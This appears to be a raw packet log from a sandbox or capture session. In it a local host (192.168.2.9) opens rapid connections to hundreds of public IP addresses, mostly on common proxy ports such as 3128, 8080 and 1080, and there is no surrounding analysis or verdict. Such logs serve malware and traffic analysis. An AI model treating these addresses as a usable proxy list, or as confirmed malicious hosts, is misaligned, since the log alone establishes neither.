Mar 11, 2024 15:21:03.229221106 CET	3128	51257	116.62.147.249	192.168.2.9
Mar 11, 2024 15:21:03.229289055 CET	51257	3128	192.168.2.9	116.62.147.249
Mar 11, 2024 15:21:03.229511976 CET	51257	3128	192.168.2.9	116.62.147.249
Mar 11, 2024 15:21:03.230144978 CET	80	50574	50.170.90.31	192.168.2.9
Mar 11, 2024 15:21:03.230707884 CET	80	50885	50.239.72.19	192.168.2.9
Mar 11, 2024 15:21:03.231314898 CET	50837	47344	192.168.2.9	75.119.145.154
Mar 11, 2024 15:21:03.231338024 CET	51009	8089	192.168.2.9	80.91.125.238
Mar 11, 2024 15:21:03.231347084 CET	50734	80	192.168.2.9	103.174.102.127
Mar 11, 2024 15:21:03.231347084 CET	50041	27660	192.168.2.9	139.162.181.177
Mar 11, 2024 15:21:03.231370926 CET	50739	8080	192.168.2.9	105.112.83.165
Mar 11, 2024 15:21:03.231370926 CET	50747	8080	192.168.2.9	103.60.161.18
Mar 11, 2024 15:21:03.231386900 CET	50737	54504	192.168.2.9	51.68.164.77
Mar 11, 2024 15:21:03.231386900 CET	50165	80	192.168.2.9	35.209.198.222
Mar 11, 2024 15:21:03.231389046 CET	49911	1080	192.168.2.9	168.138.162.66
Mar 11, 2024 15:21:03.231389046 CET	50736	8080	192.168.2.9	103.76.148.161
Mar 11, 2024 15:21:03.231389999 CET	50720	4145	192.168.2.9	91.185.236.239
Mar 11, 2024 15:21:03.231389046 CET	49970	4145	192.168.2.9	222.124.130.197
Mar 11, 2024 15:21:03.231390953 CET	50756	3128	192.168.2.9	223.155.121.75
Mar 11, 2024 15:21:03.231389999 CET	50191	50563	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.231389999 CET	50853	17501	192.168.2.9	202.166.205.242
Mar 11, 2024 15:21:03.231401920 CET	50766	23721	192.168.2.9	67.213.210.61
Mar 11, 2024 15:21:03.231404066 CET	50751	80	192.168.2.9	18.141.177.23
Mar 11, 2024 15:21:03.231404066 CET	50769	24015	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:03.231405973 CET	50745	3128	192.168.2.9	91.189.177.190
Mar 11, 2024 15:21:03.231405973 CET	50738	8888	192.168.2.9	58.253.210.122
Mar 11, 2024 15:21:03.231405973 CET	50760	8080	192.168.2.9	203.150.128.183
Mar 11, 2024 15:21:03.231409073 CET	50772	49687	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.231409073 CET	50721	1111	192.168.2.9	121.101.131.67
Mar 11, 2024 15:21:03.231409073 CET	50775	12582	192.168.2.9	37.187.73.7
Mar 11, 2024 15:21:03.231409073 CET	50748	3128	192.168.2.9	193.122.98.1
Mar 11, 2024 15:21:03.231426954 CET	50784	8080	192.168.2.9	188.132.221.133
Mar 11, 2024 15:21:03.231427908 CET	50754	80	192.168.2.9	212.161.133.200
Mar 11, 2024 15:21:03.231426954 CET	50795	5678	192.168.2.9	50.47.75.212
Mar 11, 2024 15:21:03.231427908 CET	50778	4527	192.168.2.9	138.197.92.110
Mar 11, 2024 15:21:03.231429100 CET	50761	9999	192.168.2.9	115.221.242.131
Mar 11, 2024 15:21:03.231434107 CET	50758	4153	192.168.2.9	78.90.252.7
Mar 11, 2024 15:21:03.231447935 CET	50763	3128	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:03.231451035 CET	50776	8080	192.168.2.9	202.154.37.141
Mar 11, 2024 15:21:03.231450081 CET	50782	5678	192.168.2.9	202.40.178.34
Mar 11, 2024 15:21:03.231450081 CET	50770	3128	192.168.2.9	194.93.25.55
Mar 11, 2024 15:21:03.231450081 CET	50801	3629	192.168.2.9	46.173.35.229
Mar 11, 2024 15:21:03.231462002 CET	50779	8080	192.168.2.9	77.37.132.129
Mar 11, 2024 15:21:03.231471062 CET	50780	9443	192.168.2.9	101.230.172.86
Mar 11, 2024 15:21:03.231473923 CET	4145	51214	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:03.231473923 CET	50794	999	192.168.2.9	45.190.78.50
Mar 11, 2024 15:21:03.231473923 CET	50774	50001	192.168.2.9	94.23.171.143
Mar 11, 2024 15:21:03.231492996 CET	50793	1200	192.168.2.9	203.202.252.149
Mar 11, 2024 15:21:03.231496096 CET	50791	83	192.168.2.9	103.89.233.226
Mar 11, 2024 15:21:03.231518984 CET	50790	63404	192.168.2.9	192.99.207.129
Mar 11, 2024 15:21:03.231839895 CET	80	49995	50.218.224.35	192.168.2.9
Mar 11, 2024 15:21:03.232170105 CET	4145	51214	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:03.232183933 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:03.234242916 CET	51415	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:03.234911919 CET	5000	51102	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:03.234925985 CET	1080	51159	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.235528946 CET	1080	51332	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.235657930 CET	51332	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.236692905 CET	31654	50435	98.162.25.4	192.168.2.9
Mar 11, 2024 15:21:03.236752033 CET	50435	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:03.237620115 CET	4145	51356	142.54.236.97	192.168.2.9
Mar 11, 2024 15:21:03.239192963 CET	10919	50431	98.178.72.21	192.168.2.9
Mar 11, 2024 15:21:03.239279032 CET	50431	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:03.239556074 CET	8080	50641	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:03.241009951 CET	8080	50641	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:03.241812944 CET	4153	50405	175.101.15.41	192.168.2.9
Mar 11, 2024 15:21:03.243858099 CET	18762	50911	192.111.137.37	192.168.2.9
Mar 11, 2024 15:21:03.245003939 CET	4153	50773	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:03.245384932 CET	4153	51265	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:03.245440006 CET	51265	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:03.246037006 CET	16379	51290	51.158.79.76	192.168.2.9
Mar 11, 2024 15:21:03.246174097 CET	51290	16379	192.168.2.9	51.158.79.76
Mar 11, 2024 15:21:03.246973038 CET	50781	4145	192.168.2.9	72.217.158.202
Mar 11, 2024 15:21:03.246974945 CET	50785	12113	192.168.2.9	103.49.28.23
Mar 11, 2024 15:21:03.246975899 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.246984959 CET	50670	1080	192.168.2.9	111.90.150.109
Mar 11, 2024 15:21:03.246984959 CET	50159	4519	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.246993065 CET	50768	5452	192.168.2.9	104.238.111.107
Mar 11, 2024 15:21:03.246993065 CET	50178	24465	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.246993065 CET	50786	61553	192.168.2.9	75.119.145.169
Mar 11, 2024 15:21:03.247006893 CET	50800	8080	192.168.2.9	220.247.162.70
Mar 11, 2024 15:21:03.247009039 CET	50086	80	192.168.2.9	50.222.245.47
Mar 11, 2024 15:21:03.247009993 CET	50797	8181	192.168.2.9	103.152.232.217
Mar 11, 2024 15:21:03.247009993 CET	50802	8080	192.168.2.9	4.236.183.37
Mar 11, 2024 15:21:03.247018099 CET	50168	23085	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.247018099 CET	50154	45629	192.168.2.9	162.241.6.97
Mar 11, 2024 15:21:03.247018099 CET	50799	5678	192.168.2.9	85.29.147.90
Mar 11, 2024 15:21:03.247015953 CET	49987	1080	192.168.2.9	43.229.254.163
Mar 11, 2024 15:21:03.247015953 CET	50817	34411	192.168.2.9	212.110.188.213
Mar 11, 2024 15:21:03.247020006 CET	50818	80	192.168.2.9	213.202.230.241
Mar 11, 2024 15:21:03.247020006 CET	50804	999	192.168.2.9	187.49.191.14
Mar 11, 2024 15:21:03.247020006 CET	50805	9080	192.168.2.9	12.27.168.161
Mar 11, 2024 15:21:03.247026920 CET	50812	39027	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:03.247026920 CET	50813	49478	192.168.2.9	162.241.70.64
Mar 11, 2024 15:21:03.247026920 CET	50822	13305	192.168.2.9	148.66.130.53
Mar 11, 2024 15:21:03.247080088 CET	51082	80	192.168.2.9	50.174.145.12
Mar 11, 2024 15:21:03.247082949 CET	50820	59243	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:03.247251987 CET	4153	50531	177.131.16.66	192.168.2.9
Mar 11, 2024 15:21:03.247386932 CET	80	49932	50.168.210.235	192.168.2.9
Mar 11, 2024 15:21:03.248601913 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:03.248661995 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.249327898 CET	80	50884	3.127.62.252	192.168.2.9
Mar 11, 2024 15:21:03.249819040 CET	8080	51254	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:03.249871016 CET	51254	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:03.250190020 CET	4145	51368	142.54.226.214	192.168.2.9
Mar 11, 2024 15:21:03.251605988 CET	4145	50454	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:03.251668930 CET	50454	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:03.251827002 CET	51416	32650	192.168.2.9	41.60.26.210
Mar 11, 2024 15:21:03.252584934 CET	4145	50457	184.178.172.17	192.168.2.9
Mar 11, 2024 15:21:03.252677917 CET	50457	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:03.252859116 CET	9091	51158	182.106.220.252	192.168.2.9
Mar 11, 2024 15:21:03.253142118 CET	4153	50255	103.117.109.9	192.168.2.9
Mar 11, 2024 15:21:03.253386021 CET	9091	51158	182.106.220.252	192.168.2.9
Mar 11, 2024 15:21:03.253397942 CET	9091	51158	182.106.220.252	192.168.2.9
Mar 11, 2024 15:21:03.253576040 CET	51158	9091	192.168.2.9	182.106.220.252
Mar 11, 2024 15:21:03.254179955 CET	2363	49986	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.254797935 CET	52395	51287	164.92.237.188	192.168.2.9
Mar 11, 2024 15:21:03.254844904 CET	51287	52395	192.168.2.9	164.92.237.188
Mar 11, 2024 15:21:03.256108046 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.257252932 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.257447958 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.257460117 CET	7302	50146	60.190.68.154	192.168.2.9
Mar 11, 2024 15:21:03.257508993 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.257508993 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.257734060 CET	80	51250	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.257834911 CET	51250	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.259077072 CET	8888	50544	47.236.36.58	192.168.2.9
Mar 11, 2024 15:21:03.261046886 CET	51123	50715	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:03.261066914 CET	7891	49953	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:03.261575937 CET	3128	50290	178.236.246.53	192.168.2.9
Mar 11, 2024 15:21:03.261620998 CET	50290	3128	192.168.2.9	178.236.246.53
Mar 11, 2024 15:21:03.262574911 CET	50806	4153	192.168.2.9	185.32.44.1
Mar 11, 2024 15:21:03.262614012 CET	51061	3128	192.168.2.9	194.145.209.187
Mar 11, 2024 15:21:03.262618065 CET	50816	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:03.262630939 CET	50838	9090	192.168.2.9	45.90.104.150
Mar 11, 2024 15:21:03.262631893 CET	50826	999	192.168.2.9	190.89.37.73
Mar 11, 2024 15:21:03.262631893 CET	50833	34144	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:03.262643099 CET	51089	80	192.168.2.9	50.174.7.156
Mar 11, 2024 15:21:03.262643099 CET	50821	80	192.168.2.9	204.236.176.61
Mar 11, 2024 15:21:03.262645006 CET	50807	8080	192.168.2.9	138.94.236.161
Mar 11, 2024 15:21:03.262645006 CET	50749	80	192.168.2.9	85.26.146.169
Mar 11, 2024 15:21:03.262661934 CET	50823	3128	192.168.2.9	34.30.26.177
Mar 11, 2024 15:21:03.262662888 CET	50814	30000	192.168.2.9	5.9.154.177
Mar 11, 2024 15:21:03.262662888 CET	49920	3128	192.168.2.9	77.77.64.116
Mar 11, 2024 15:21:03.262680054 CET	50828	53749	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:03.262681007 CET	50824	8080	192.168.2.9	190.61.106.97
Mar 11, 2024 15:21:03.262696981 CET	50836	6437	192.168.2.9	103.215.139.32
Mar 11, 2024 15:21:03.262703896 CET	50825	12057	192.168.2.9	159.223.173.237
Mar 11, 2024 15:21:03.262705088 CET	50834	8080	192.168.2.9	125.25.40.38
Mar 11, 2024 15:21:03.262712955 CET	50840	8080	192.168.2.9	112.78.170.251
Mar 11, 2024 15:21:03.262720108 CET	50841	3128	192.168.2.9	51.159.66.158
Mar 11, 2024 15:21:03.262844086 CET	50839	8080	192.168.2.9	103.160.184.222
Mar 11, 2024 15:21:03.262968063 CET	80	51165	120.78.191.68	192.168.2.9
Mar 11, 2024 15:21:03.262979984 CET	80	51165	120.78.191.68	192.168.2.9
Mar 11, 2024 15:21:03.263072968 CET	80	51165	120.78.191.68	192.168.2.9
Mar 11, 2024 15:21:03.263113022 CET	51165	80	192.168.2.9	120.78.191.68
Mar 11, 2024 15:21:03.266539097 CET	8800	51146	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:03.266618967 CET	51146	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:03.267708063 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:03.268119097 CET	8800	51146	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:03.268416882 CET	80	50253	75.89.101.62	192.168.2.9
Mar 11, 2024 15:21:03.268676996 CET	80	50253	75.89.101.62	192.168.2.9
Mar 11, 2024 15:21:03.268740892 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:03.269468069 CET	25427	49996	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.270256042 CET	9039	50879	67.43.227.228	192.168.2.9
Mar 11, 2024 15:21:03.270966053 CET	15673	51296	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:03.270977974 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.271038055 CET	51296	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:03.272502899 CET	80	51298	185.162.228.170	192.168.2.9
Mar 11, 2024 15:21:03.272516012 CET	80	51298	185.162.228.170	192.168.2.9
Mar 11, 2024 15:21:03.272906065 CET	51417	3128	192.168.2.9	68.183.180.222
Mar 11, 2024 15:21:03.273121119 CET	8080	51273	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:03.273195982 CET	51273	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:03.273614883 CET	80	51244	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:03.273627043 CET	80	51298	185.162.228.170	192.168.2.9
Mar 11, 2024 15:21:03.273683071 CET	51244	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.273683071 CET	51298	80	192.168.2.9	185.162.228.170
Mar 11, 2024 15:21:03.275964975 CET	80	49875	50.172.75.121	192.168.2.9
Mar 11, 2024 15:21:03.278188944 CET	50981	80	192.168.2.9	45.139.11.200
Mar 11, 2024 15:21:03.278209925 CET	50835	16379	192.168.2.9	51.158.108.165
Mar 11, 2024 15:21:03.278212070 CET	50844	999	192.168.2.9	38.7.4.90
Mar 11, 2024 15:21:03.278234959 CET	50843	8080	192.168.2.9	187.73.188.35
Mar 11, 2024 15:21:03.278234959 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:03.278234959 CET	50846	41368	192.168.2.9	208.87.131.240
Mar 11, 2024 15:21:03.278238058 CET	50845	8080	192.168.2.9	103.115.242.192
Mar 11, 2024 15:21:03.278239012 CET	51032	3629	192.168.2.9	92.38.45.72
Mar 11, 2024 15:21:03.278240919 CET	50848	3128	192.168.2.9	113.100.209.184
Mar 11, 2024 15:21:03.278240919 CET	50851	8080	192.168.2.9	200.108.197.2
Mar 11, 2024 15:21:03.278240919 CET	50842	3128	192.168.2.9	84.17.51.241
Mar 11, 2024 15:21:03.278240919 CET	50849	83	192.168.2.9	103.191.115.126
Mar 11, 2024 15:21:03.278315067 CET	50861	80	192.168.2.9	138.197.102.119
Mar 11, 2024 15:21:03.278320074 CET	50860	4153	192.168.2.9	103.82.8.189
Mar 11, 2024 15:21:03.278327942 CET	50847	16379	192.168.2.9	51.15.210.79
Mar 11, 2024 15:21:03.280087948 CET	51418	57114	192.168.2.9	222.129.37.88
Mar 11, 2024 15:21:03.280280113 CET	80	51371	50.145.6.36	192.168.2.9
Mar 11, 2024 15:21:03.282216072 CET	8080	51271	182.253.31.83	192.168.2.9
Mar 11, 2024 15:21:03.282294989 CET	80	51303	104.19.85.214	192.168.2.9
Mar 11, 2024 15:21:03.282305956 CET	80	51303	104.19.85.214	192.168.2.9
Mar 11, 2024 15:21:03.282583952 CET	80	51303	104.19.85.214	192.168.2.9
Mar 11, 2024 15:21:03.282649040 CET	51303	80	192.168.2.9	104.19.85.214
Mar 11, 2024 15:21:03.282711029 CET	80	51304	104.16.105.142	192.168.2.9
Mar 11, 2024 15:21:03.282723904 CET	80	51304	104.16.105.142	192.168.2.9
Mar 11, 2024 15:21:03.283224106 CET	80	51304	104.16.105.142	192.168.2.9
Mar 11, 2024 15:21:03.283291101 CET	51304	80	192.168.2.9	104.16.105.142
Mar 11, 2024 15:21:03.284301996 CET	8193	50904	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.284337997 CET	8193	50904	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.285032988 CET	1581	50023	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:03.285187960 CET	8193	51302	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.285253048 CET	51302	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.287594080 CET	80	51325	50.174.214.217	192.168.2.9
Mar 11, 2024 15:21:03.289336920 CET	15864	50946	192.252.214.20	192.168.2.9
Mar 11, 2024 15:21:03.290134907 CET	1080	51171	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:03.290549994 CET	1080	51171	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:03.290708065 CET	51171	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:03.290919065 CET	15673	51306	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:03.291184902 CET	51306	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:03.291558027 CET	4153	50450	180.183.39.207	192.168.2.9
Mar 11, 2024 15:21:03.291569948 CET	80	50743	50.172.75.123	192.168.2.9
Mar 11, 2024 15:21:03.291583061 CET	80	51008	50.239.72.17	192.168.2.9
Mar 11, 2024 15:21:03.291816950 CET	51419	80	192.168.2.9	104.25.234.81
Mar 11, 2024 15:21:03.292887926 CET	51420	16379	192.168.2.9	51.15.211.81
Mar 11, 2024 15:21:03.293838978 CET	50855	80	192.168.2.9	182.72.203.246
Mar 11, 2024 15:21:03.293853045 CET	51099	80	192.168.2.9	50.237.207.186
Mar 11, 2024 15:21:03.293867111 CET	50856	8080	192.168.2.9	92.255.205.129
Mar 11, 2024 15:21:03.293867111 CET	50865	80	192.168.2.9	82.66.245.82
Mar 11, 2024 15:21:03.293869972 CET	50864	8080	192.168.2.9	165.16.59.226
Mar 11, 2024 15:21:03.293873072 CET	50858	55636	192.168.2.9	1.179.148.9
Mar 11, 2024 15:21:03.293870926 CET	50863	3128	192.168.2.9	185.236.203.208
Mar 11, 2024 15:21:03.293872118 CET	50714	8080	192.168.2.9	114.132.202.78
Mar 11, 2024 15:21:03.293874025 CET	50857	82	192.168.2.9	103.163.244.38
Mar 11, 2024 15:21:03.293947935 CET	50869	8080	192.168.2.9	5.187.9.10
Mar 11, 2024 15:21:03.293948889 CET	51127	80	192.168.2.9	50.174.7.158
Mar 11, 2024 15:21:03.293948889 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:03.293951035 CET	51140	80	192.168.2.9	50.173.140.144
Mar 11, 2024 15:21:03.294513941 CET	54321	51020	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:03.295171976 CET	48114	51311	51.75.125.208	192.168.2.9
Mar 11, 2024 15:21:03.295206070 CET	54321	51322	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:03.295237064 CET	51311	48114	192.168.2.9	51.75.125.208
Mar 11, 2024 15:21:03.295274019 CET	51322	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:03.295382977 CET	3128	50037	84.17.35.129	192.168.2.9
Mar 11, 2024 15:21:03.296642065 CET	51421	5025	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:03.296775103 CET	51422	64938	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:03.296883106 CET	51423	998	192.168.2.9	181.78.85.45
Mar 11, 2024 15:21:03.297255993 CET	31794	51376	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:03.298394918 CET	80	49856	50.221.74.130	192.168.2.9
Mar 11, 2024 15:21:03.298799038 CET	51424	2287	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:03.300076008 CET	22611	50031	67.43.227.228	192.168.2.9
Mar 11, 2024 15:21:03.300348043 CET	5585	50917	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.300362110 CET	19403	50033	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.300452948 CET	51425	18240	192.168.2.9	137.184.102.16
Mar 11, 2024 15:21:03.300692081 CET	4145	51350	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:03.300766945 CET	51350	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:03.301862001 CET	11339	50922	67.43.228.251	192.168.2.9
Mar 11, 2024 15:21:03.301884890 CET	51426	8080	192.168.2.9	103.104.92.178
Mar 11, 2024 15:21:03.303096056 CET	51427	80	192.168.2.9	50.217.226.45
Mar 11, 2024 15:21:03.304111958 CET	51428	9002	192.168.2.9	52.151.210.204
Mar 11, 2024 15:21:03.304682016 CET	34455	51042	162.241.137.197	192.168.2.9
Mar 11, 2024 15:21:03.304836035 CET	80	51321	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:03.304939032 CET	51321	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:03.305249929 CET	51429	80	192.168.2.9	68.185.57.66
Mar 11, 2024 15:21:03.306396961 CET	51430	38023	192.168.2.9	75.119.145.169
Mar 11, 2024 15:21:03.306818008 CET	21605	50420	128.199.221.91	192.168.2.9
Mar 11, 2024 15:21:03.306900978 CET	50420	21605	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:03.306941032 CET	10008	51095	147.75.92.244	192.168.2.9
Mar 11, 2024 15:21:03.306953907 CET	10000	51210	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:03.307153940 CET	8002	49893	39.108.229.14	192.168.2.9
Mar 11, 2024 15:21:03.307332039 CET	3128	50374	47.229.171.150	192.168.2.9
Mar 11, 2024 15:21:03.307374954 CET	50374	3128	192.168.2.9	47.229.171.150
Mar 11, 2024 15:21:03.307682037 CET	51431	1088	192.168.2.9	46.227.38.1
Mar 11, 2024 15:21:03.308235884 CET	51432	26777	192.168.2.9	185.129.250.183
Mar 11, 2024 15:21:03.308685064 CET	3128	49734	165.232.158.60	192.168.2.9
Mar 11, 2024 15:21:03.309528112 CET	49731	7497	192.168.2.9	157.230.8.196
Mar 11, 2024 15:21:03.309556961 CET	50273	59347	192.168.2.9	157.245.82.62
Mar 11, 2024 15:21:03.309557915 CET	50278	26619	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.309557915 CET	50867	37443	192.168.2.9	207.180.198.241
Mar 11, 2024 15:21:03.309557915 CET	51081	1088	192.168.2.9	46.227.37.21
Mar 11, 2024 15:21:03.309561014 CET	50084	80	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:03.309557915 CET	50872	80	192.168.2.9	89.36.114.38
Mar 11, 2024 15:21:03.309603930 CET	15673	51328	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:03.309624910 CET	50880	38801	192.168.2.9	113.101.255.100
Mar 11, 2024 15:21:03.309627056 CET	49778	80	192.168.2.9	82.119.96.254
Mar 11, 2024 15:21:03.309663057 CET	51328	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:03.309683084 CET	50323	80	192.168.2.9	172.93.213.177
Mar 11, 2024 15:21:03.309683084 CET	50875	58285	192.168.2.9	144.91.66.30
Mar 11, 2024 15:21:03.309990883 CET	51433	19132	192.168.2.9	222.252.18.8
Mar 11, 2024 15:21:03.310388088 CET	22043	51370	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.310554028 CET	10007	51209	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.310753107 CET	3128	51181	3.37.125.76	192.168.2.9
Mar 11, 2024 15:21:03.312189102 CET	51434	45870	192.168.2.9	107.180.103.214
Mar 11, 2024 15:21:03.312684059 CET	4145	51057	142.54.239.1	192.168.2.9
Mar 11, 2024 15:21:03.312719107 CET	3128	51181	3.37.125.76	192.168.2.9
Mar 11, 2024 15:21:03.313173056 CET	51436	44568	192.168.2.9	107.180.88.173
Mar 11, 2024 15:21:03.314290047 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:03.314420938 CET	8197	50046	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.314829111 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:03.314913988 CET	80	51342	50.169.118.211	192.168.2.9
Mar 11, 2024 15:21:03.315709114 CET	51437	8175	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:03.315803051 CET	15587	50933	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:03.316409111 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:03.317012072 CET	51438	80	192.168.2.9	218.252.244.126
Mar 11, 2024 15:21:03.317029953 CET	4145	51299	185.169.181.16	192.168.2.9
Mar 11, 2024 15:21:03.317053080 CET	50435	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:03.317441940 CET	50431	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:03.317645073 CET	51265	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:03.318449974 CET	51254	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:03.318451881 CET	51332	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.318689108 CET	50454	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:03.318711996 CET	50457	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:03.318942070 CET	51287	52395	192.168.2.9	164.92.237.188
Mar 11, 2024 15:21:03.318969011 CET	51158	9091	192.168.2.9	182.106.220.252
Mar 11, 2024 15:21:03.319494963 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.319508076 CET	51165	80	192.168.2.9	120.78.191.68
Mar 11, 2024 15:21:03.319540024 CET	51250	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.319549084 CET	51146	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:03.319700956 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:03.320348024 CET	51439	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:03.320491076 CET	51440	80	192.168.2.9	104.16.81.76
Mar 11, 2024 15:21:03.320600033 CET	51296	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:03.320858955 CET	51290	16379	192.168.2.9	51.158.79.76
Mar 11, 2024 15:21:03.320910931 CET	51298	80	192.168.2.9	185.162.228.170
Mar 11, 2024 15:21:03.321809053 CET	51441	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:03.321862936 CET	51273	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:03.322154999 CET	51303	80	192.168.2.9	104.19.85.214
Mar 11, 2024 15:21:03.322220087 CET	51244	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.322220087 CET	51304	80	192.168.2.9	104.16.105.142
Mar 11, 2024 15:21:03.323450089 CET	51306	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:03.323487043 CET	51302	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.323700905 CET	51311	48114	192.168.2.9	51.75.125.208
Mar 11, 2024 15:21:03.323990107 CET	51322	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:03.324014902 CET	51350	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:03.324179888 CET	51321	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:03.324475050 CET	50420	21605	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:03.324760914 CET	51210	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:03.324975967 CET	51328	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:03.325098991 CET	50723	32842	192.168.2.9	212.83.143.97
Mar 11, 2024 15:21:03.325119972 CET	50882	9002	192.168.2.9	120.234.203.171
